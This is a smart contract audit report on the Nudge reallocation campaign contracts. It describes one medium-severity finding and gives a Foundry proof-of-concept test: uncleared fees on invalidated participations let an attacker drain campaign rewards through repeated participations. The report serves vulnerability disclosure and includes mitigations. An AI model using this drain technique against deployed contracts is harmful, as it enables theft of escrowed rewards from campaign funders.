4th05

Nudge

Security Review Report

24 March 2025

Security Review Report

4th05

March 24, 2025

Table of Contents

Protocol Summary

Nudge is a Reallocation Marketplace that helps protocols incentivize asset movement across blockchains and ecosystems. Nudge empowers protocols and ecosystems to grow assets, boost token demand, and motivate users to reallocate assets within their wallets—driving sustainable, KPI-driven growth.

With Nudge, protocols can create and fund campaigns that reward users for acquiring and holding a specific token for at least a week. Nudge smart contracts acts as an escrow for rewards, while its backend system monitors participants' addresses to ensure they maintain their holdings of said token for the required period. Nudge provides an all-in-one solution, eliminating the need for any technical implementation by protocols looking to run such incentivisation campaigns.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where I try to find as many vulnerabilities as possible. I can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Overview

Contest platform	Code4rena
LOC	641
Language	Solidity
Commit	fbda3958dbd813e6bfa8b5a866828f7d6c59008f
Previous audits	Oak Security audit, 4naly3er, Slither

Scope

- /src/campaign/NudgeCampaign.sol
- /src/campaign/NudgeCampaignFactory.sol
- /src/campaign/NudgePointsCampaigns.sol
- /src/campaign/interfaces/IBaseNudgeCampaign.sol
- /src/campaign/interfaces/INudgeCampaign.sol
- /src/campaign/interfaces/INudgeCampaignFactory.sol
- /src/campaign/interfaces/INudgePointsCampaign.sol

Issues found

Severity	Number of issues found
High	0
Medium	1
Low	0
Info	0

Findings

[M1] Rewards can be drained by fees of invalidated attackers' participation

Finding description and impact

For all the `Participations` that become `INVALIDATED` fees are not subtracted from the `accumulatedFees`.

```
function invalidateParticipations(uint256[] calldata pIDs) external
    onlyNudgeOperator {
        for (uint256 i = 0; i < pIDs.length; i++) {
            Participation storage participation = participations[pIDs[i
                ]];
            if (participation.status != ParticipationStatus.
                PARTICIPATING) {
                continue;
            }
            participation.status = ParticipationStatus.INVALIDATED;
            pendingRewards -= participation.rewardAmount;
        }
        emit ParticipationInvalidated(pIDs);
    }
```

This design choice opens a door to malicious behaviours that could harm the rewards of the `campaignAdmin`. An attacker could allocate big amounts of money acting intentionally so that to be `invalidated` reducing this way the rewards amount of a campaign. This could also be done by reiterating the allocation of a small amount of money without running any risk.

Because of this attack, the `campaignAdmin` may face a shortage in rewards preventing this way any further allocation of funds in the campaign.

Proof of Concept

```
contract NudgeCampaignTest is Test {
    NudgeCampaign private campaign;
    address ZERO_ADDRESS = address(0);
    address NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

    address owner;
    uint256 constant REWARD_PPQ = 2e13;
    uint256 constant INITIAL_FUNDING = 100_000e18;
    uint256 constant BPS_DENOMINATOR = 1e4;
    uint256 constant PPQ_DENOMINATOR = 1e15;
    address alice = address(11);
```

```
12      address bob = address(12);
13      address swapCaller = address(13);
14      address campaignAdmin = address(14);
15      address nudgeAdmin = address(15);
16      address treasury = address(16);
17      address operator = address(18);
18      address alternativeWithdrawalAddress = address(16);
19      address campaignAddress;
20      uint32 holdingPeriodInSeconds = 60 * 60 * 24 * 7; // 7 days
21      uint256 initialFundingAmount = 100_000e18;
22      uint256 rewardPPQ = 5e14;
23      uint256 RANDOM_UUID = 111_222_333_444_555_666_777;
24      uint256[] pIDsWithOne = [1];
25      uint16 DEFAULT_FEE_BPS = 1000;
26      TestERC20 toToken;
27      TestERC20 rewardToken;
28      NudgeCampaignFactory factory;
29
30      function setUp() public {
31          owner = msg.sender;
32          toToken = new TestERC20("Incentivized Token", "IT");
33          rewardToken = new TestERC20("Reward Token", "RT");
34          factory = new NudgeCampaignFactory(treasury, nudgeAdmin,
                operator, swapCaller);
35
36          campaignAddress = factory.deployCampaign(
37              holdingPeriodInSeconds,
38              address(toToken),
39              address(rewardToken),
40              REWARD_PPQ,
41              campaignAdmin,
42              0,
43              alternativeWithdrawalAddress,
44              RANDOM_UUID
45          );
46          campaign = NudgeCampaign(payable(campaignAddress));
47
48          vm.deal(campaignAdmin, 10 ether);
49
50          vm.prank(campaignAdmin);
51          rewardToken.faucet(10_000_000e18);
52          // Fund the campaign with reward tokens
53          vm.prank(campaignAdmin);
54          rewardToken.transfer(campaignAddress, INITIAL_FUNDING);
55      }
56
57  function test_campaignAdminFeesAttack() public {
58
59          uint256 start = block.timestamp;
60          uint256 lastparticipationID;
61          address attacker = makeAddr("attacker");
```

```
62          uint256[] memory participationstoinvalidate = new uint256[](1);
63          uint256 idparticipationstoinvalidate;
64
65          vm.prank(swapCaller);
66          toToken.approve(address(campaign), type(uint256).max);
67          uint256 availablerewards = campaign.claimableRewardAmount();
68
69          while (availablerewards >= 50_000e18){
70          // Simulate getting toTokens from end user
71          vm.startPrank(swapCaller);
72          toToken.faucet(50_000e18);
73          campaign.handleReallocation(RANDOM_UUID, attacker, address(
                toToken), 50_000e18, "");
74
75          lastparticipationID = campaign.pID();
76          // pass time for holdings check
77          start += 5 minutes;
78          vm.warp(start);
79          vm.stopPrank();
80
81          vm.startPrank(operator);
82          idparticipationstoinvalidate++;
83          participationstoinvalidate[0] = lastparticipationID;
84          campaign.invalidateParticipations(participationstoinvalidate);
85          vm.stopPrank();
86
87          availablerewards = campaign.claimableRewardAmount();
88          }
89
90          assertLe(campaign.claimableRewardAmount(), 50_000e18);
91      }
92  }
```

Recommended mitigation steps

Possible solutions - Subtract the fees from the `accumulatedFees` variable, in case of `ParticipationStatus.INVALIDATED` - Keep a small percentage from reallocated amounts of money and give them back to the user when claiming the rewards - Add the fees to `accumulatedFees` when users claim rewards